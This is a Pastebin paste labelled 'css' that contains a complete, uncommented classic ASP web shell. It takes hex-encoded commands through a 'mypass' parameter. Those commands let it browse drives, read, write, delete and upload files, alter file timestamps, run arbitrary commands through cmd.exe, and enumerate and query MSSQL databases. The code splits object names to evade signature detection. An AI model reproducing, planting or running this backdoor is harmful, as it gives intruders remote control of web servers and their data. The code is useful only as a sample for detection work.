Advertisement
Guest User

css

a guest
Oct 15th, 2019
484
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 11.12 KB | None | 0 0
  1. <%
  2. Function P(ByVal s)
  3. On Error Resume Next
  4. Dim C,O
  5. For i=1 To Len(s)
  6. C=Hex(Asc(Mid(s,i,1)))
  7. If Len(C)=1 Then
  8. O=O&"0"&C
  9. Else
  10. O=O&C
  11. End If
  12. Next
  13. P=O
  14. End Function
  15. Function Q(ByVal s)
  16. On Error Resume Next
  17. Dim O
  18. h="&h"
  19. For i=1 To Len(s) Step 2
  20. If IsNumeric(Mid(s,i,1)) Then
  21. If CInt(Mid(s,i,1))<8 Then
  22. O=O&Chr(h&Mid(s,i,2))
  23. Else
  24. O=O&Chr(h&Mid(s,i,4))
  25. i=i+2
  26. End If
  27. Else
  28. O=O&Chr(h&Mid(s,i,4))
  29. i=i+2
  30. End If
  31. Next
  32. Q=O
  33. End Function
  34. Function I0()
  35. On Error Resume Next
  36. a=""
  37. Set n=Server.CreateObject("Wscript.Network")
  38. Set f=Server.CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
  39. b=Chr(10)
  40. a=a&"1:"&Request.ServerVariables("SERVER_NAME")&" - ("&Request.ServerVariables("LOCAL_ADDR")&")"&b
  41. a=a&"2:"&n.ComputerName&b
  42. a=a&"4:"&f.GetSpecialFolder(1)&b
  43. a=a&"5:"&FormatDateTime(Now(),0)&b
  44. a=a&"6:"&Request.ServerVariables("SERVER_SOFTWARE")&b
  45. a=a&"10:"&n.Username&b
  46. a=a&"12:"&Server.mappath("/")&b
  47. a=a&"13:"&Request.ServerVariables("PATH_TRANSLATED")&b
  48. I0=a
  49. End Function
  50. Function A1(ByVal I)
  51. On Error Resume Next
  52. O=""
  53. Set FSO=CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
  54. Set FD=FSO.GetFolder(""&I&"")
  55. If Err Then
  56. O="ER:"&Err.Description
  57. Err.Clear
  58. Else
  59. For Each D in FD.subfolders
  60. If Err Then:OO="ER:"&Err.Description:Err.Clear:Exit For:End If
  61. O=O&D.Name&chr(47)&Chr(9)&D.DateLastModified&chr(9)&chr(48)&chr(9)&FSO.GetFolder(D.Path).attributes&chr(10)
  62. Next
  63. For Each F in FD.files
  64. If Err Then
  65. O="ER:"&Err.Description
  66. Err.Clear
  67. Exit For
  68. End If
  69. O=O&F.Name&Chr(9)&F.DateLastModified&chr(9)&F.size&chr(9)&FSO.GetFile(F.Path).attributes&chr(10)
  70. Next
  71. End If
  72. Set FD=Nothing
  73. Set FSO=Nothing
  74. A1=O
  75. End Function
  76. Function A2(ByVal I)
  77. On Error Resume Next
  78. O=""
  79. Set FSO=CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
  80. If Not FSO.FolderExists(I) Then
  81. FSO.CreateFolder(""&I&"")
  82. Set FSO=Nothing
  83. If Err Then
  84. O="ER:"&Err.Description
  85. Else
  86. O="OK"
  87. End If
  88. Else
  89. O="ER2"
  90. End If
  91. A2=O
  92. End Function
  93. Function A3(ByVal I)
  94. On Error Resume Next
  95. O=""
  96. Set FSO=CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
  97. If FSO.FolderExists(I) Then
  98. FSO.DeleteFolder(I)
  99. Set FSO=Nothing
  100. If Err Then
  101. O="ER:"&Err.Description
  102. Err.Clear
  103. Else
  104. O="OK"
  105. End If
  106. Else
  107. O="ER2"
  108. End If
  109. A3=O
  110. End Function
  111. Function A4(ByVal I1,ByVal I2)
  112. On Error Resume Next
  113. O=""
  114. Set FSO=CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
  115. If Not FSO.FolderExists(I1) Then
  116. O="ER2"
  117. Else
  118. FSO.MoveFolder I1,I2
  119. Set FSO=Nothing
  120. If Err Then
  121. O="ER:"&Err.Description
  122. Err.Clear
  123. Else
  124. O="OK"
  125. End If
  126. End If
  127. A4=O
  128. End Function
  129. Function A5(ByVal I1,ByVal I2)
  130. On Error Resume Next
  131. O=""
  132. Set FSO=CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
  133. If Not FSO.FolderExists(I1) Then
  134. O="ER2"
  135. Else
  136. FSO.CopyFolder I1,I2,true
  137. If Err Then
  138. O="ER:"&Err.Description
  139. Err.Clear
  140. Else
  141. O="OK"
  142. End If
  143. Set FSO=Nothing
  144. End If
  145. A5=O
  146. End Function
  147. Function A6()
  148. On Error Resume Next
  149. O=""
  150. SET A=CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
  151. If Err Then
  152. O="ER:"&Err.Description
  153. Err.Clear
  154. Else
  155. For Each B in A.Drives
  156. O=O&B.DriveLetter&chr(58)
  157. Next
  158. End If
  159. A6=O
  160. End Function
  161. Function B1(ByVal I)
  162. On Error Resume Next
  163. O=""
  164. Set FSO=CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
  165. If FSO.FileExists(I) Then
  166. If FSO.GetFile(I).Size<1048576 Then
  167. Set f=FSO.OpenTextfile(I,1)
  168. If Err Then
  169. O="ER:"&Err.Description
  170. Err.Clear
  171. Else
  172. If f.atendofstream Then
  173. O=""
  174. Else
  175. O=f.readall
  176. End if
  177. End If
  178. Else
  179. O="ER6"
  180. End If
  181. Else
  182. O="ER4"
  183. End If
  184. Set FSO=Nothing
  185. B1=O
  186. End Function
  187. Function B2(ByVal I1,ByVal I2)
  188. On Error Resume Next
  189. O=""
  190. Set FSO=CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
  191. Set f=FSO.CreateTextFile(""&I1&"")
  192. If Err Then
  193. O="ER:"&Err.Description
  194. Err.Clear
  195. Else
  196. f.Write(""&I2&"")
  197. If Err Then
  198. O="ER:"&Err.Description
  199. Err.Clear
  200. Else
  201. O="OK"
  202. End If
  203. Set f=Nothing
  204. End If
  205. Set FSO=Nothing
  206. B2=O
  207. End Function
  208. Function B3(ByVal I)
  209. On Error Resume Next
  210. O=""
  211. Set FSO=CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
  212. If FSO.FileExists(I) Then
  213. FSO.DeleteFile(I)
  214. If Err Then
  215. O="ER:"&Err.Description
  216. Err.Clear
  217. Else
  218. O="OK"
  219. End If
  220. Else
  221. O="ER4"
  222. End If
  223. Set FSO=Nothing
  224. B3=O
  225. End Function
  226. Function B4(ByVal I1,ByVal I2)
  227. On Error Resume Next
  228. O=""
  229. Set FSO=CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
  230. If Not FSO.FileExists(I1) Then
  231. O="ER4"
  232. Else
  233. FSO.MoveFile I1,I2
  234. If Err Then
  235. O="ER:"&Err.Description
  236. Err.Clear
  237. Else
  238. O="OK"
  239. End If
  240. Set FSO=Nothing
  241. End If
  242. B4=O
  243. End Function
  244. Function B5(ByVal I1,ByVal I2)
  245. On Error Resume Next
  246. O=""
  247. Set FSO=CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
  248. If Not FSO.FileExists(I1) Then
  249. O="ER4"
  250. Else
  251. FSO.CopyFile I1,I2,true
  252. If Err Then
  253. O="ER:"&Err.Description
  254. Err.Clear
  255. Else
  256. O="OK"
  257. End If
  258. Set FSO=Nothing
  259. End If
  260. B5=O
  261. End Function
  262. Sub B6(ByVal I)
  263. On Error Resume Next
  264. Response.Clear
  265. Response.Buffer=True
  266. Set s=Server.CreateObject("Ad"&"odb.Stream")
  267. If Err Then
  268. Response.Write Err.Description
  269. Else
  270. s.mode=3
  271. s.Type=1
  272. s.Open
  273. s.LoadFromFile(I)
  274. If Err Then
  275. Response.Write Err.Description
  276. Err.Clear
  277. Else
  278. Response.Write "12345678"&s.Size&":"
  279. While Response.IsClientConnected And (Not s.EOS)
  280. Response.BinaryWrite s.Read(204800)
  281. Response.Flush
  282. Wend
  283. End if
  284. s.Close
  285. Set s=Nothing
  286. End IF
  287. Response.Flush
  288. End Sub
  289. Function B7(ByVal I1,ByVal I2,ByVal I3)
  290. On Error Resume Next
  291. O=""
  292. Set SS=Server.CreateObject("Ad"&"odb.Stream")
  293. With SS
  294. .Type=1
  295. .Mode=3
  296. .Open
  297. If I3>0 Then
  298. .LoadFromFile ""&I1&""
  299. .Position=I3
  300. End If
  301. Set RS=CreateObject("ADODB.Recordset")
  302. RS.fields.append "a",205,Len(I2)/2
  303. RS.open
  304. RS.addnew
  305. RS("a")=I2+chrb(0)
  306. RS.update
  307. .Write RS("a").getchunk(Len(I2)/2)
  308. RS.close
  309. Set RS=Nothing
  310. .Position=0
  311. .SaveToFile ""&I1&"",2
  312. .Close
  313. End With
  314. Set SS=Nothing
  315. If Err Then
  316. O="ER:"&Err.Description
  317. Err.Clear
  318. Else
  319. O="OK"
  320. End If
  321. B7=O
  322. End Function
  323. Function B8(ByVal I1,ByVal I2, ByVal I3)
  324. On Error Resume Next
  325. O=""
  326. Set A=Server.CreateObject("Shel"&"l.Application")
  327. Set B=A.NameSpace(Replace(Replace(I1,"/","\"),"\\","\"))
  328. Set C=B.ParseName(I2)
  329. C.ModifyDate=I3
  330. If Err Then
  331. O="ER:"&Err.Description
  332. Err.Clear
  333. Else
  334. O="OK"
  335. End If
  336. Set A=NoThing
  337. B8=O
  338. End Function
  339. Function C1(ByVal I1,ByVal I2)
  340. On Error Resume Next
  341. O=""
  342. Set FSO=CreateObject("Scri"&"pting.FileS"&"ystemO"&"bject")
  343. If Trim(I2)="" Then
  344. I2="cmd.exe"
  345. Else
  346. If FSO.FileExists(I2)=False Then
  347. O="ER4"
  348. End if
  349. I2=Replace(I2,"/","\\")
  350. End if
  351. If O="" Then
  352. Set X=Server.CreateObject("wsc"&"ript.sh"&"ell")
  353. If Err Then
  354. Err.clear
  355. Set X=CreateObject("wsc"&"ript.sh"&"ell.1")
  356. End If
  357. If Err Then
  358. O="ER:"&Err.Description
  359. Err.Clear
  360. Else
  361. Set R=X.exec(I2&" /c "&I1)
  362. If Err Then
  363. O="ER:"&Err.Description
  364. Err.Clear
  365. Else
  366. O=R.StdOut.ReadAll()&R.StdErr.ReadAll()
  367. End If
  368. End If
  369. Set FSO=Nothing
  370. End IF
  371. C1=O
  372. End Function
  373. Function D1(ByVal I)
  374. On Error Resume Next
  375. O=""
  376. Set A=Server.CreateObject("Adodb.connection")
  377. A.Open ""&I&""
  378. If Err Then
  379. O="ER:"&Err.Description
  380. Err.Clear
  381. Else
  382. Set B=CreateObject("Adodb.Recordset")
  383. B.open "select [name] from [master]..[sysdatabases] order by 1",A,1,1
  384. If Err Then
  385. O="ER:"&Err.Description
  386. Err.Clear
  387. Else
  388. Do While Not(B.Eof Or B.Bof)
  389. O=O&B(0)&chr(9)
  390. B.MoveNext
  391. Loop
  392. B.Close
  393. End If
  394. Set B=Nothing
  395. A.Close
  396. End If
  397. Set A=Nothing
  398. D1=O
  399. End Function
  400. Function D2(ByVal I1,ByVal I2)
  401. On Error Resume Next
  402. O=""
  403. Set A=Server.CreateObject("Adodb.connection")
  404. A.Open ""&I1&""
  405. If Err Then
  406. O="ER:"&Err.Description
  407. Err.Clear
  408. Else
  409. A.DefaultDatabase=I2
  410. Set B=A.Execute("SELECT substring(@@version,22,5)")
  411. V=Trim(B(0))
  412. If V="2000" Then
  413. Set B=A.Execute("SELECT [name] FROM sysobjects WHERE xtype='U' ORDER BY 1")
  414. Else
  415. Set B=A.Execute("SELECT TABLE_SCHEMA+CHAR(46)+TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_TYPE='BASE TABLE'")
  416. End If
  417. If Err Then
  418. O="ER:"&Err.Description
  419. Err.Clear
  420. Else
  421. Do While Not(B.Eof Or B.Bof)
  422. O=O&B(0)&chr(9)
  423. B.MoveNext
  424. Loop
  425. End If
  426. Set B=Nothing
  427. A.Close
  428. End If
  429. Set A=Nothing
  430. D2=O
  431. End Function
  432. Function D3(ByVal I1,ByVal I2,ByVal I3)
  433. On Error Resume Next
  434. O=""
  435. Set A=Server.CreateObject("Adodb.connection")
  436. A.Open ""&I1&""
  437. If Err Then
  438. O="ER:"&Err.Description
  439. Err.Clear
  440. Else
  441. A.DefaultDatabase=I2
  442. Set B=A.Execute("SELECT substring(@@version,22,5)")
  443. V=Trim(B(0))
  444. If V="2000" Then
  445. Set B=A.Execute("SELECT A.[name],B.[name] FROM syscolumns A,systypes B where A.id=object_id('"&I3&"') and A.xtype=B.xtype ORDER BY A.colid")
  446. Else
  447. Set B=A.Execute("SELECT COLUMN_NAME,DATA_TYPE FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='"&I3&"'")
  448. End If
  449. If Err Then
  450. O="ER:"&Err.Description
  451. Err.Clear
  452. Else
  453. Do While Not(B.Eof Or B.Bof)
  454. If B(1)<>"sysname" Then
  455. O=O&B(0)&" ("&B(1)&")"&chr(9)
  456. End If
  457. B.MoveNext
  458. Loop
  459. End If
  460. Set B=Nothing
  461. A.Close
  462. End If
  463. Set A=Nothing
  464. D3=O
  465. End Function
  466. Function D4(ByVal I1,ByVal I2,ByVal I3)
  467. On Error Resume Next
  468. O=""
  469. Set A=Server.CreateObject("Adodb.connection")
  470. A.Connectiontimeout=9999
  471. A.Open ""&I1&""
  472. If Err Then
  473. O="ER:"&Err.Description
  474. Err.Clear
  475. Else
  476. A.DefaultDatabase=I2
  477. If Err Then
  478. O="ER:"&Err.Description
  479. Err.Clear
  480. Else
  481. Set B=A.Execute(""&I3&"")
  482. If Err Then
  483. O="ER:"&Err.Description
  484. Err.Clear
  485. Else
  486. If B.Fields.Count=0 Then
  487. O="OK"
  488. Else
  489. O=""
  490. For i=0 To B.Fields.Count-1
  491. O=O&B.Fields.Item(i).Name&chr(9)&chr(124)&chr(9)
  492. Next
  493. O=O&chr(10)
  494. Do While Not(B.Eof Or B.Bof)
  495. For i=0 To B.Fields.Count-1
  496. O=O&B(i)&chr(9)&chr(124)&chr(9)
  497. Next
  498. O=O&chr(10)
  499. B.MoveNext
  500. Loop
  501. End If
  502. End If
  503. End If
  504. Set B=Nothing
  505. A.Close
  506. End If
  507. Set A=Nothing
  508. D4=O
  509. End Function
  510.  
  511. %>
  512. <%
  513. Server.ScriptTimeout=9999
  514. On Error Resume Next
  515. Dim p1,p2,p3,R
  516. z=Split(Q(request("mypass")),":")
  517. If UBound(z)<5 Then
  518. response.End
  519. End If
  520. p1=request(z(1))
  521. p2=request(z(2))
  522. p3=request(z(3))
  523. Select Case z(0)
  524. Case "I0" R=I0()
  525. Case "A1" R=A1(Q(p1))
  526. Case "A2" R=A2(Q(p1))
  527. Case "A3" R=A3(Q(p1))
  528. Case "A4" R=A4(Q(p1),Q(p2))
  529. Case "A5" R=A5(Q(p1),Q(p2))
  530. Case "A6" R=A6()
  531. Case "B1" R=B1(Q(p1))
  532. Case "B2" R=B2(Q(p1),Q(p2))
  533. Case "B3" R=B3(Q(p1))
  534. Case "B4" R=B4(Q(p1),Q(p2))
  535. Case "B5" R=B5(Q(p1),Q(p2))
  536. Case "B6" B6(Q(p1)):Response.End
  537. Case "B7" R=B7(Q(p1),p2,Q(p3))
  538. Case "B8" R=B8(Q(p1),Q(p2),Q(p3))
  539. Case "C1" R=C1(Q(p1),Q(p2))
  540. Case "D1" R=D1(Q(p1))
  541. Case "D2" R=D2(Q(p1),Q(p2))
  542. Case "D3" R=D3(Q(p1),Q(p2),Q(p3))
  543. Case "D4" R=D4(Q(p1),Q(p2),Q(p3))
  544. Case Else R=""
  545. End Select
  546. If UBound(z)>5 Then
  547. If z(6)="1" Then
  548. R=P(R)
  549. End If
  550. End If
  551. If Len(R)>0 Then
  552. Response.Write z(4)&R&z(5)
  553. End If
  554. %>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement